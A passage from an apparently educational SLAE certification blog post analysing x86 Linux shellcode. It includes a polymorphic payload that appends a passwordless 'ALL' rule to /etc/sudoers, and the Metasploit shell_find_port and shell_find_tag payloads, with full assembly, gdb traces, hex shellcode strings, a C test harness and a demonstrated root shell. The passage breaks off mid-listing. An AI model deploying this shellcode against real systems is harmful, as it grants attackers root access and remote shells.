 8048095:       0f 6e 45 fc             movd   mm0,DWORD PTR [ebp-0x4]
 8048099:       0f ef 45 f4             pxor   mm0,QWORD PTR [ebp-0xc]
 804809d:       0f 7e 45 f4             movd   DWORD PTR [ebp-0xc],mm0
 80480a1:       0f ef 45 f0             pxor   mm0,QWORD PTR [ebp-0x10]
 80480a5:       0f 7e 45 f0             movd   DWORD PTR [ebp-0x10],mm0
 80480a9:       0f 77                   emms
 80480ab:       68 2e 65 74 63          push   0x6374652e
 80480b0:       89 e3                   mov    ebx,esp
 80480b2:       fe 03                   inc    BYTE PTR [ebx]
 80480b4:       6a 20                   push   0x20
 80480b6:       db 04 24                fild   DWORD PTR [esp]
 80480b9:       d8 c8                   fmul   st,st(0)
 80480bb:       db 14 24                fist   DWORD PTR [esp]
 80480be:       59                      pop    ecx
 80480bf:       41                      inc    ecx
 80480c0:       0c 05                   or     al,0x5
 80480c2:       cd 80                   int    0x80
 80480c4:       93                      xchg   ebx,eax
 80480c5:       52                      push   edx
 80480c6:       68 41 4c 4c 0a          push   0xa4c4c41
 80480cb:       68 57 44 3a 20          push   0x203a4457
 80480d0:       68 50 41 53 53          push   0x53534150
 80480d5:       68 29 20 4e 4f          push   0x4f4e2029
 80480da:       68 28 41 4c 4c          push   0x4c4c4128
 80480df:       68 41 4c 4c 3d          push   0x3d4c4c41
 80480e4:       68 41 4c 4c 20          push   0x204c4c41
 80480e9:       89 e1                   mov    ecx,esp
 80480eb:       80 ca 1c                or     dl,0x1c
 80480ee:       6a 02                   push   0x2
 80480f0:       f3 0f 10 04 24          movss  xmm0,DWORD PTR [esp]
 80480f5:       f3 0f 58 04 24          addss  xmm0,DWORD PTR [esp]
 80480fa:       66 0f 7e c0             movd   eax,xmm0
 80480fe:       cd 80                   int    0x80
Shellcode size: 128
\x54\x5d\x31\xc0\x99\x68\xbe\xba\xfe\xca\x52\x68\xd1\xdf\x8c\xb9\x68\x40\x16\x07\x17\x0f\x6e\x45\xfc\x0f\xef\x45\xf4\x0f\x7e\x45\xf4\x0f\xef\x45\xf0\x0f\x7e\x45\xf0\x0f\x77\x68\x2e\x65\x74\x63\x89\xe3\xfe\x03\x6a\x20\xdb\x04\x24\xd8\xc8\xdb\x14\x24\x59\x41\x0c\x05\xcd\x80\x93\x52\x68\x41\x4c\x4c\x0a\x68\x57\x44\x3a\x20\x68\x50\x41\x53\x53\x68\x29\x20\x4e\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41\x4c\x4c\x20\x89\xe1\x80\xca\x1c\x6a\x02\xf3\x0f\x10\x04\x24\xf3\x0f\x58\x04\x24\x66\x0f\x7e\xc0\xcd\x80
cc -DSHELLCODE=`asm-opcodes 62` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
(gdb) i r mm0
mm0            {uint64 = 0x7372656f, v2_int32 = {0x7372656f, 0x0}, v4_int16 = {0x656f, 0x7372, 0x0, 0x0}, v8_int8 = {0x6f, 0x65, 0x72, 0x73, 0x0, 0x0, 0x0, 0x0}}
(gdb) x/s $ebp-0xc
0xbffff640:     "oers"
(gdb) continue
Continuing.
Dump of assembler code for function shellcode:
   0x00402040 <+0>:     push   esp
   0x00402041 <+1>:     pop    ebp
   0x00402042 <+2>:     xor    eax,eax
   0x00402044 <+4>:     cdq
   0x00402045 <+5>:     push   0xcafebabe
   0x0040204a <+10>:    push   edx
   0x0040204b <+11>:    push   0xb98cdfd1
   0x00402050 <+16>:    push   0x17071640
   0x00402055 <+21>:    movd   mm0,DWORD PTR [ebp-0x4]
   0x00402059 <+25>:    pxor   mm0,QWORD PTR [ebp-0xc]
   0x0040205d <+29>:    movd   DWORD PTR [ebp-0xc],mm0
   0x00402061 <+33>:    pxor   mm0,QWORD PTR [ebp-0x10]
   0x00402065 <+37>:    movd   DWORD PTR [ebp-0x10],mm0
   0x00402069 <+41>:    emms
   0x0040206b <+43>:    push   0x6374652e
   0x00402070 <+48>:    mov    ebx,esp
   0x00402072 <+50>:    inc    BYTE PTR [ebx]
=> 0x00402074 <+52>:    push   0x20
   0x00402076 <+54>:    fild   DWORD PTR [esp]
   0x00402079 <+57>:    fmul   st,st(0)
   0x0040207b <+59>:    fist   DWORD PTR [esp]
   0x0040207e <+62>:    pop    ecx
   0x0040207f <+63>:    inc    ecx
   0x00402080 <+64>:    or     al,0x5
   0x00402082 <+66>:    int    0x80
   0x00402084 <+68>:    xchg   ebx,eax
   0x00402085 <+69>:    push   edx
   0x00402086 <+70>:    push   0xa4c4c41
   0x0040208b <+75>:    push   0x203a4457
   0x00402090 <+80>:    push   0x53534150
   0x00402095 <+85>:    push   0x4f4e2029
   0x0040209a <+90>:    push   0x4c4c4128
   0x0040209f <+95>:    push   0x3d4c4c41
   0x004020a4 <+100>:   push   0x204c4c41
   0x004020a9 <+105>:   mov    ecx,esp
   0x004020ab <+107>:   or     dl,0x1c
   0x004020ae <+110>:   push   0x2
   0x004020b0 <+112>:   movss  xmm0,DWORD PTR [esp]
   0x004020b5 <+117>:   addss  xmm0,DWORD PTR [esp]
---Type <return> to continue, or q <return> to quit---
   0x004020ba <+122>:   movd   eax,xmm0
   0x004020be <+126>:   int    0x80
   0x004020c0 <+128>:   add    BYTE PTR [eax],al
End of assembler dump.
$22 = [ IF ]

Breakpoint 2, 0x00402074 in shellcode ()
(gdb) x/s $ebx
0xbffff638:     "/etc/sudoers"
(gdb) c
Continuing.
Dump of assembler code for function shellcode:
   0x00402040 <+0>:     push   esp
   0x00402041 <+1>:     pop    ebp
   0x00402042 <+2>:     xor    eax,eax
   0x00402044 <+4>:     cdq
   0x00402045 <+5>:     push   0xcafebabe
   0x0040204a <+10>:    push   edx
   0x0040204b <+11>:    push   0xb98cdfd1
   0x00402050 <+16>:    push   0x17071640
   0x00402055 <+21>:    movd   mm0,DWORD PTR [ebp-0x4]
   0x00402059 <+25>:    pxor   mm0,QWORD PTR [ebp-0xc]
   0x0040205d <+29>:    movd   DWORD PTR [ebp-0xc],mm0
   0x00402061 <+33>:    pxor   mm0,QWORD PTR [ebp-0x10]
   0x00402065 <+37>:    movd   DWORD PTR [ebp-0x10],mm0
   0x00402069 <+41>:    emms
   0x0040206b <+43>:    push   0x6374652e
   0x00402070 <+48>:    mov    ebx,esp
   0x00402072 <+50>:    inc    BYTE PTR [ebx]
   0x00402074 <+52>:    push   0x20
   0x00402076 <+54>:    fild   DWORD PTR [esp]
   0x00402079 <+57>:    fmul   st,st(0)
   0x0040207b <+59>:    fist   DWORD PTR [esp]
   0x0040207e <+62>:    pop    ecx
   0x0040207f <+63>:    inc    ecx
=> 0x00402080 <+64>:    or     al,0x5
   0x00402082 <+66>:    int    0x80
   0x00402084 <+68>:    xchg   ebx,eax
   0x00402085 <+69>:    push   edx
   0x00402086 <+70>:    push   0xa4c4c41
   0x0040208b <+75>:    push   0x203a4457
   0x00402090 <+80>:    push   0x53534150
   0x00402095 <+85>:    push   0x4f4e2029
   0x0040209a <+90>:    push   0x4c4c4128
   0x0040209f <+95>:    push   0x3d4c4c41
   0x004020a4 <+100>:   push   0x204c4c41
   0x004020a9 <+105>:   mov    ecx,esp
   0x004020ab <+107>:   or     dl,0x1c
   0x004020ae <+110>:   push   0x2
   0x004020b0 <+112>:   movss  xmm0,DWORD PTR [esp]
   0x004020b5 <+117>:   addss  xmm0,DWORD PTR [esp]
---Type <return> to continue, or q <return> to quit---
   0x004020ba <+122>:   movd   eax,xmm0
   0x004020be <+126>:   int    0x80
   0x004020c0 <+128>:   add    BYTE PTR [eax],al
End of assembler dump.
$33 = [ IF ]

Breakpoint 5, 0x00402080 in shellcode ()
(gdb) i r ecx
ecx            0x401    1025

Executing the shellcode correctly appends the entry to the /etc/sudoers file:

1
2
3
4
5
6
7
8
9
10
11
12
# tail -n1 /etc/sudoers; strace -e open,write ./shellcode; tail -n1 /etc/sudoers
#includedir /etc/sudoers.d
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
write(1, "Shellcode length: 128\n", 22Shellcode length: 128
) = 22
open("/etc/sudoers", O_WRONLY|O_APPEND) = 3
write(3, "ALL ALL=(ALL) NOPASSWD: ALL\n", 28) = 28
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x1c} ---
+++ killed by SIGSEGV +++
Segmentation fault
ALL ALL=(ALL) NOPASSWD: ALL

SLAE 0x05: Metasploit Payloads

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

Instead of analysing the already done shellcodes in the previous exercises like the bind and reverse shells, I’ve decided to pick the following three:

1. linux/x86/shell_find_port

This payload checks if a remote client is connecting from the configured TCP port by going through all file descriptors. In that circumstance, a shell is spawned:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
global _start

section .text
_start:
  xor ebx, ebx
  push ebx
  mov edi, esp                    ; save socket structure in the stack
  push byte +0x10                 ; 16 bytes in total
  push esp                        ; addrlen
  push edi                        ; addr
  push ebx                        ; sockfd
  mov ecx, esp                    ; args
  ; int getpeername(int, struct sockaddr *, socklen_t *)
  mov bl, 0x7                     ; call

port_restart:
  inc dword [ecx]                 ; increment getpeername(2) descriptor
  push byte +0x66
  ; int socketcall(int, unsigned long *)
  pop eax
  int 0x80

  cmp word [edi + 0x2], 0x9210    ; compare remote port with 4242/tcp
  jnz port_restart                ; remote port is different

  pop ebx                         ; pop the detected file descriptor value
  push byte +0x2                  ; start by redirecting stderr to it
  pop ecx
port_dup2_loop:
  mov al, 0x3f
  ; int dup2(int, int)
  int 0x80
  dec ecx                         ; redirect stdout and stdin, too
  jns port_dup2_loop              ; don't jump if ecx is positive

  push eax                        ; dup2(2) returned 0, push it
  push dword 0x68732f2f           ; //sh
  push dword 0x6e69622f           ; /bin
  mov ebx, esp                    ; filename
  push eax
  push ebx                        ; filename
  mov ecx, esp                    ; argv
  cdq                             ; set edx to zero as well
  mov al, 0xb
  ; int execve(const char *, char *const [], char *const [])
  int 0x80

The block up to the first interrupt is making use of the socketcall(2) system call to retrieve the foreign protocol address associated with a socket by using getpeername(2). The first expects the socket system call number in its first parameter and a memory region containing the respective system call arguments in the second parameter.

retrieving the system call number
1
2
3
$ asm-syscall socketcall
#define __NR_socketcall 102
0x66
socketcall(2) prototype
1
int socketcall(int call, unsigned long *args);
getpeername(2) call number
1
2
$ grep -E "[^1-9]7" /usr/include/linux/net.h
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 102                |
| ebx      | 7                  |
| ecx      | esp pointer        |
+----------+--------------------+
getpeername(2) prototype
1
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

Like with accept(2), this function passes a socket address structure from the kernel to the user process, thus one of its arguments is the socket structure size. This is a pointer since it is both a value when it is called and a result when returned. Its structure in memory will have the following layout:

+-------------+
| 0x0         |<-----+
+-------------+      |
| 0x10        |<--+  |
+-------------+   |  |
| addrlen     |---+  |
+-------------+      |
| addr        |------+
+-------------+
| sockfd      |<---- ecx
+-------------+
dissecting the first block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Dump of assembler code for function shellcode:
   0x00402060 <+0>:     xor    ebx,ebx
   0x00402062 <+2>:     push   ebx
   0x00402063 <+3>:     mov    edi,esp
   0x00402065 <+5>:     push   0x10
   0x00402067 <+7>:     push   esp
   0x00402068 <+8>:     push   edi
   0x00402069 <+9>:     push   ebx
   0x0040206a <+10>:    mov    ecx,esp
=> 0x0040206c <+12>:    mov    bl,0x7
   0x0040206e <+14>:    inc    DWORD PTR [ecx]
   0x00402070 <+16>:    push   0x66
   0x00402072 <+18>:    pop    eax
   0x00402073 <+19>:    int    0x80
   0x00402075 <+21>:    cmp    WORD PTR [edi+0x2],0x9210
   0x0040207b <+27>:    jne    0x40206e <shellcode+14>
   0x0040207d <+29>:    pop    ebx
   0x0040207e <+30>:    push   0x2
   0x00402080 <+32>:    pop    ecx
   0x00402081 <+33>:    mov    al,0x3f
   0x00402083 <+35>:    int    0x80
   0x00402085 <+37>:    dec    ecx
   0x00402086 <+38>:    jns    0x402081 <shellcode+33>
   0x00402088 <+40>:    push   eax
   0x00402089 <+41>:    push   0x68732f2f
   0x0040208e <+46>:    push   0x6e69622f
   0x00402093 <+51>:    mov    ebx,esp
   0x00402095 <+53>:    push   eax
   0x00402096 <+54>:    push   ebx
   0x00402097 <+55>:    mov    ecx,esp
   0x00402099 <+57>:    cdq
   0x0040209a <+58>:    mov    al,0xb
   0x0040209c <+60>:    int    0x80
   0x0040209e <+62>:    add    BYTE PTR [eax],al
End of assembler dump.
$9 = [ PF ZF IF ]
0x0040206c in shellcode ()
(gdb) x/6x $esp
0xbffff588:     0x00000000      0xbffff598      0xbffff594      0x00000010
0xbffff598:     0x00000000      0x0040098a
(gdb) x/x $esp+4
0xbffff58c:     0xbffff598
(gdb) i r edi
edi             0xbffff598      -1073744488
(gdb) x/x $esp+8
0xbffff590:     0xbffff594
(gdb) x/x 0xbffff594
0xbffff594:     0x00000010

The next block of code is comprised of checking the remote TCP port for the current file descriptor. The sin_port member, as described in the first exercise, is 2 bytes from the start of the returned structure, and will be compared with 0x9210 (ie 4242/tcp). If the zero flag isn’t set, the next file descriptor will be tried, by incrementing the memory location mentioned above.

In this scenario, the remote client will be assigned file descriptor 4, since file descriptors 0 through 2 are the standard ones, and the third is returned by socket(2):

+------+
| 0    | => stdin
| 1    | => stdout
| 2    | => stderr
| 3    | => fd
| 4    | => fd_client
+------+
dissecting the second block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Dump of assembler code for function shellcode:
   0x00402060 <+0>:     xor    ebx,ebx
   0x00402062 <+2>:     push   ebx
   0x00402063 <+3>:     mov    edi,esp
   0x00402065 <+5>:     push   0x10
   0x00402067 <+7>:     push   esp
   0x00402068 <+8>:     push   edi
   0x00402069 <+9>:     push   ebx
   0x0040206a <+10>:    mov    ecx,esp
   0x0040206c <+12>:    mov    bl,0x7
   0x0040206e <+14>:    inc    DWORD PTR [ecx]
   0x00402070 <+16>:    push   0x66
   0x00402072 <+18>:    pop    eax
   0x00402073 <+19>:    int    0x80
   0x00402075 <+21>:    cmp    WORD PTR [edi+0x2],0x9210
=> 0x0040207b <+27>:    jne    0x40206e <shellcode+14>
   0x0040207d <+29>:    pop    ebx
   0x0040207e <+30>:    push   0x2
   0x00402080 <+32>:    pop    ecx
   0x00402081 <+33>:    mov    al,0x3f
   0x00402083 <+35>:    int    0x80
   0x00402085 <+37>:    dec    ecx
   0x00402086 <+38>:    jns    0x402081 <shellcode+33>
   0x00402088 <+40>:    push   eax
   0x00402089 <+41>:    push   0x68732f2f
   0x0040208e <+46>:    push   0x6e69622f
   0x00402093 <+51>:    mov    ebx,esp
   0x00402095 <+53>:    push   eax
   0x00402096 <+54>:    push   ebx
   0x00402097 <+55>:    mov    ecx,esp
   0x00402099 <+57>:    cdq
   0x0040209a <+58>:    mov    al,0xb
   0x0040209c <+60>:    int    0x80
   0x0040209e <+62>:    add    BYTE PTR [eax],al
End of assembler dump.
$13 = [ PF ZF IF ]

Breakpoint 2, 0x0040207b in shellcode ()
(gdb) x/x $ecx
0xbffff588:     0x00000004
(gdb) x/2b $edi+0x2
0xbffff59a:     0x10    0x92

The remaining of the code is the standard dup2(2) redirection of the usual file descriptors and calling execve(2) with /bin/sh. The following C program can be used to see the shellcode in action:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <sys/types.h>
#include <sys/socket.h>

#include <err.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define QUOTE(s)        #s
#define STR(s)          QUOTE(s)

unsigned char shellcode[] = STR(SHELLCODE);

int
bind_try(struct addrinfo *p)
{
  int fd, yes = 1;

  if ((fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
      warn("socket");
      return (-1);
  }
  if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof yes) == -1)
      err(1, "setsockopt");
  if (bind(fd, p->ai_addr, p->ai_addrlen) == -1) {
      close(fd);
      warn("bind");
      return (-1);
  }

  return (fd);
}

int
main(int argc, char **argv)
{
  char                     hbuf[NI_MAXHOST], sbuf[NI_MAXSERV];
  int                      ai_ret, fd, fd_client;
  socklen_t                sl_client;
  struct addrinfo          ai_hints;
  struct addrinfo         *ai_ptr, *ai_srv;
  struct sockaddr_storage  sa_client;

  if (argc != 2)
      errx(1, "usage: port");

  memset(&ai_hints, 0, sizeof ai_hints);
  ai_hints.ai_family = AF_UNSPEC;
  ai_hints.ai_socktype = SOCK_STREAM;
  ai_hints.ai_flags = AI_PASSIVE;

  if ((ai_ret = getaddrinfo(NULL, argv[1], &ai_hints, &ai_srv)) != 0)
      errx(1, "getaddrinfo: %s", gai_strerror(ai_ret));
  for (ai_ptr = ai_srv; ai_ptr != NULL; ai_ptr = ai_ptr->ai_next) {
      if ((fd = bind_try(ai_ptr)) != -1)
          break;
  }
  if (ai_ptr == NULL)
      errx(1, "failed to bind");
  freeaddrinfo(ai_srv);
  sl_client = sizeof sa_client;

  if (listen(fd, 5) == 1)
      err(1, "listen");
  fd_client = accept(fd, (struct sockaddr *) &sa_client, &sl_client);
  if (fd_client == -1)
      err(1, "accept");
  ai_ret = getnameinfo((struct sockaddr *) &sa_client, sl_client, hbuf,
      sizeof hbuf, sbuf, sizeof sbuf, NI_NUMERICHOST | NI_NUMERICSERV);
  if (ai_ret != 0)
      errx(1, "getnameinfo: %s", gai_strerror(ai_ret));
  printf("Connection from %s:%s\n", hbuf, sbuf);

  (*(void(*)(void)) shellcode)();         /* Call the shellcode. */
  return (0);                             /* NOTREACHED */
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ make PROG=shell-find-port
nasm  -f elf32 -o shell-find-port.o shell-find-port.asm
ld -N -zexecstack -o shell-find-port shell-find-port.o
08048080 <_start>:
 8048080:       31 db                   xor    ebx,ebx
 8048082:       53                      push   ebx
 8048083:       89 e7                   mov    edi,esp
 8048085:       6a 10                   push   0x10
 8048087:       54                      push   esp
 8048088:       57                      push   edi
 8048089:       53                      push   ebx
 804808a:       89 e1                   mov    ecx,esp
 804808c:       b3 07                   mov    bl,0x7

0804808e <port_restart>:
 804808e:       ff 01                   inc    DWORD PTR [ecx]
 8048090:       6a 66                   push   0x66
 8048092:       58                      pop    eax
 8048093:       cd 80                   int    0x80
 8048095:       66 81 7f 02 10 92       cmp    WORD PTR [edi+0x2],0x9210
 804809b:       75 f1                   jne    804808e <port_restart>
 804809d:       5b                      pop    ebx
 804809e:       6a 02                   push   0x2
 80480a0:       59                      pop    ecx

080480a1 <port_dup2_loop>:
 80480a1:       b0 3f                   mov    al,0x3f
 80480a3:       cd 80                   int    0x80
 80480a5:       49                      dec    ecx
 80480a6:       79 f9                   jns    80480a1 <port_dup2_loop>
 80480a8:       50                      push   eax
 80480a9:       68 2f 2f 73 68          push   0x68732f2f
 80480ae:       68 2f 62 69 6e          push   0x6e69622f
 80480b3:       89 e3                   mov    ebx,esp
 80480b5:       50                      push   eax
 80480b6:       53                      push   ebx
 80480b7:       89 e1                   mov    ecx,esp
 80480b9:       99                      cdq
 80480ba:       b0 0b                   mov    al,0xb
 80480bc:       cd 80                   int    0x80
Shellcode size: 62
\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x10\x92\x75\xf1\x5b\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
cc -DSHELLCODE=`asm-opcodes shell-find-port` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c

Connecting from a random TCP port using nc(1) is silently ignored, while from the configured one yields a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
# ./shellcode 4243
Connection from 127.0.0.1:44050
Connection from 127.0.0.1:4242
$ ss -nlt|grep 4243
LISTEN     0      5            *:4243                     *:*
$ nc -v 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
^C
$ nc -vp4242 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)

2. linux/x86/shell_find_tag

This one is similar to the above, but instead of expecting a specific remote port on one of its file descriptors, it searches for a configured tag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
global _start

section .text
_start:
  xor ebx, ebx
  push ebx
  mov esi, esp                    ; save buffer in the stack
  push byte +0x40                 ; flags (MSG_DONTWAIT)
  mov bh, 0xa                     ; 2560 bytes
  push ebx                        ; len
  push esi                        ; buf
  push ebx                        ; sockfd
  mov ecx, esp                    ; args
  ; ssize_t recv(int, void *, size_t, int)
  xchg bh, bl                     ; call (now 10 for recv(2))

tag_restart:
  inc word [ecx]                  ; increment recv(2) descriptor
  push byte +0x66
  ; int socketcall(int, unsigned long *)
  pop eax
  int 0x80

  cmp dword [esi], 0x45414c53     ; compare received tag with SLAE
  jnz tag_restart                 ; received buffer is different

  pop edi                         ; pop the detected file descriptor value
  mov ebx, edi                    ; fd
  push byte +0x2
  pop ecx                         ; start by redirecting stderr to it
tag_dup2_loop:
  push byte +0x3f
  ; int dup2(int, int)
  pop eax
  int 0x80
  dec ecx                         ; redirect stdout and stdin, too
  jns tag_dup2_loop               ; don't jump if ecx is positive

  push byte +0xb
  ; int execve(const char *, char *const [], char *const [])
  pop eax
  cdq                             ; set edx to zero, as well
  push edx
  push dword 0x68732f2f           ; //sh
  push dword 0x6e69622f           ; /bin
  mov ebx, esp                    ; filename
  push edx
  push ebx
  mov ecx, esp                    ; argv
  int 0x80
recv(2) call number
1
2
$ grep -E "[^1-9]10" /usr/include/linux/net.h
#define SYS_RECV        10              /* sys_recv(2)                  */
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 102                |
| ebx      | 10                 |
| ecx      | esp pointer        |
+----------+--------------------+
recv(2) prototype
1
ssize_t recv(int sockfd, void *buf, size_t len, int flags);

The recv(2) system call will be used to receive a message from the file descriptors and save the received data on the stack. Its structure in memory will have the following layout:

+-------------+
| 0x0         |<-----+
+-------------+      |
| 0x40        |      |
+-------------+      |
| 0x0a00      |      |
+-------------+      |
| buf         |------+
+-------------+
| sockfd      |<---- ecx
+-------------+
dissecting the first block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Dump of assembler code for function shellcode:
   0x00402080 <+0>:     xor    ebx,ebx
   0x00402082 <+2>:     push   ebx
   0x00402083 <+3>:     mov    esi,esp
   0x00402085 <+5>:     push   0x40
   0x00402087 <+7>:     mov    bh,0xa
   0x00402089 <+9>:     push   ebx
   0x0040208a <+10>:    push   esi
   0x0040208b <+11>:    push   ebx
   0x0040208c <+12>:    mov    ecx,esp
=> 0x0040208e <+14>:    xchg   bl,bh
   0x00402090 <+16>:    inc    WORD PTR [ecx]
   0x00402093 <+19>:    push   0x66
   0x00402095 <+21>:    pop    eax
   0x00402096 <+22>:    int    0x80
   0x00402098 <+24>:    cmp    DWORD PTR [esi],0x45414c53
   0x0040209e <+30>:    jne    0x402090 <shellcode+16>
   0x004020a0 <+32>:    pop    edi
   0x004020a1 <+33>:    mov    ebx,edi
   0x004020a3 <+35>:    push   0x2
   0x004020a5 <+37>:    pop    ecx
   0x004020a6 <+38>:    push   0x3f
   0x004020a8 <+40>:    pop    eax
   0x004020a9 <+41>:    int    0x80
   0x004020ab <+43>:    dec    ecx
   0x004020ac <+44>:    jns    0x4020a6 <shellcode+38>
   0x004020ae <+46>:    push   0xb
   0x004020b0 <+48>:    pop    eax
   0x004020b1 <+49>:    cdq
   0x004020b2 <+50>:    push   edx
   0x004020b3 <+51>:    push   0x68732f2f
   0x004020b8 <+56>:    push   0x6e69622f
   0x004020bd <+61>:    mov    ebx,esp
   0x004020bf <+63>:    push   edx
   0x004020c0 <+64>:    push   ebx
   0x004020c1 <+65>:    mov    ecx,esp
   0x004020c3 <+67>:    int    0x80
   0x004020c5 <+69>:    add    BYTE PTR [eax],al
End of assembler dump.
$2 = [ PF ZF IF ]
---Type <return> to continue, or q <return> to quit---

Breakpoint 2, 0x0040208e in shellcode ()
(gdb) x/6x $esp
0xbffff158:     0x00000a00      0xbffff168      0x00000a00      0x00000040
0xbffff168:     0x00000000      0x00400b44
(gdb) x/x $esp+4
0xbffff15c:     0xbffff168
(gdb) i r esi
esi             0xbffff168       -1073745560

The next block of code checks if the received tag matches the one configured (SLAE). If the zero flag isn’t set, the next file descriptor is checked, by incrementing the memory location mentioned above. Since in this scenario only one client will be connecting, its assigned file descriptor will also be 4:

dissecting the first block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Dump of assembler code for function shellcode:
   0x00402080 <+0>:     xor    ebx,ebx
   0x00402082 <+2>:     push   ebx
   0x00402083 <+3>:     mov    esi,esp
   0x00402085 <+5>:     push   0x40
   0x00402087 <+7>:     mov    bh,0xa
   0x00402089 <+9>:     push   ebx
   0x0040208a <+10>:    push   esi
   0x0040208b <+11>:    push   ebx
   0x0040208c <+12>:    mov    ecx,esp
   0x0040208e <+14>:    xchg   bl,bh
   0x00402090 <+16>:    inc    WORD PTR [ecx]
   0x00402093 <+19>:    push   0x66
   0x00402095 <+21>:    pop    eax
   0x00402096 <+22>:    int    0x80
   0x00402098 <+24>:    cmp    DWORD PTR [esi],0x45414c53
   0x0040209e <+30>:    jne    0x402090 <shellcode+16>
=> 0x004020a0 <+32>:    pop    edi
   0x004020a1 <+33>:    mov    ebx,edi
   0x004020a3 <+35>:    push   0x2
   0x004020a5 <+37>:    pop    ecx
   0x004020a6 <+38>:    push   0x3f
   0x004020a8 <+40>:    pop    eax
   0x004020a9 <+41>:    int    0x80
   0x004020ab <+43>:    dec    ecx
   0x004020ac <+44>:    jns    0x4020a6 <shellcode+38>
   0x004020ae <+46>:    push   0xb
   0x004020b0 <+48>:    pop    eax
   0x004020b1 <+49>:    cdq
   0x004020b2 <+50>:    push   edx
   0x004020b3 <+51>:    push   0x68732f2f
   0x004020b8 <+56>:    push   0x6e69622f
   0x004020bd <+61>:    mov    ebx,esp
   0x004020bf <+63>:    push   edx
   0x004020c0 <+64>:    push   ebx
   0x004020c1 <+65>:    mov    ecx,esp
   0x004020c3 <+67>:    int    0x80
   0x004020c5 <+69>:    add    BYTE PTR [eax],al
End of assembler dump.
$15 = [ PF ZF IF ]
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) i r ecx
ecx             0xbffff158       -1073745576
(gdb) x/x 0xbffff158
0xbffff158:     0x00000004
(gdb) x/4x $esi
0xbffff168:     0x53    0x4c    0x41    0x45

The above skeleton C file can also be used to test the shellcode. Sending the correct tag yields a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ make PROG=shell-find-tag
nasm  -f elf32 -o shell-find-tag.o shell-find-tag.asm
ld -N -zexecstack -o shell-find-tag shell-find-tag.o
08048080 <_start>:
 8048080:       31 db                   xor    ebx,ebx
 8048082:       53                      push   ebx
 8048083:       89 e6                   mov    esi,esp
 8048085:       6a 40                   push   0x40
 8048087:       b7 0a                   mov    bh,0xa
 8048089:       53                      push   ebx
 804808a:       56                      push   esi
 804808b:       53                      push   ebx
 804808c:       89 e1                   mov    ecx,esp
 804808e:       86 fb                   xchg   bl,bh

08048090 <tag_restart>:
 8048090:       66 ff 01                inc    WORD PTR [ecx]
 8048093:       6a 66                   push   0x66
 8048095:       58                      pop    eax
 8048096:       cd 80                   int    0x80
 8048098:       81 3e 53 4c 41 45       cmp    DWORD PTR [esi],0x45414c53
 804809e:       75 f0                   jne    8048090 <tag_restart>
 80480a0:       5f                      pop    edi
 80480a1:       89 fb                   mov    ebx,edi
 80480a3:       6a 02                   push   0x2
